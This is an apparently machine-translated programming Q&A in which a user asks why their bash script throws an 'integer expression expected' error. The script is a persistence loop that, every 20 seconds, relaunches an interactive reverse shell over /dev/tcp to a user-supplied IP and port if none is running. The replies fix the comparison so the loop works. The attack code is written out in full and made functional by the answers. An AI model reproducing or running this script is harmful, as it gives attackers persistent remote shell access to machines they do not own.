Bash 脚本中的错误 "Integer Expression Expected"

Error "Integer Expression Expected" in Bash script

所以,我正在尝试编写一个 bash 脚本到 phone 家,如果程序不是'已经 运行。它应该每 20 秒检查一次进程是否存活,如果不是,它将执行 shell。但是,当我尝试执行程序时出现错误 ./ReverseShell.sh: line 9: [: ps -ef | grep "bash -i" | grep -v grep | wc -l: integer expression expected。这是因为我在 if 语句中使用了 -eq。当我用 = 替换 -eq 时,程序会编译,但无论如何它的计算结果都是 0。

我做错了什么?我的代码如下。

#!/bin/bash
#A small program designed to establish and keep a reverse shell open


IP=""               #Insert your IP here
PORT=""             #Insert the Port you're listening on here. 

while(true); do
        if [ 'ps -ef | grep "bash -i" | grep -v grep | wc -l' -eq 0 ]
        then
                echo "Process not found, launching reverse shell to $IP on port $PORT"
                bash -i >& /dev/tcp/$IP/$PORT 0>&1
                sleep 20
        else
                echo "Process found, sleeping for 20 seconds..."
                ps -ef | grep "bash -i" | grep -v "grep" | wc -l
                sleep 20


        fi


done

您的代码需要稍作改动。 你必须在 if.

中使用 tilt "`" 而不是单引号 "''"
if [ `ps -ef | grep "bash -i" | grep -v grep | wc -l`  -eq 0 ]

这对我有用。希望对你也有帮助。

除了评论中提到的错别字外应该是:

if ! pgrep -f 'bash -i' > /dev/null ; then
    echo "process not found"
else
    echo "process found"
fi

由于 pgrep 如果至少找到 1 个进程则发出一个真实的退出状态,如果没有找到进程则发出一个虚假的退出状态,您可以直接在 if 条件中使用它。 [(这是一个命令)不是必需的。


PS: 才发现这也是一个小时前。会保留它,因为我认为这是一个很好的做法。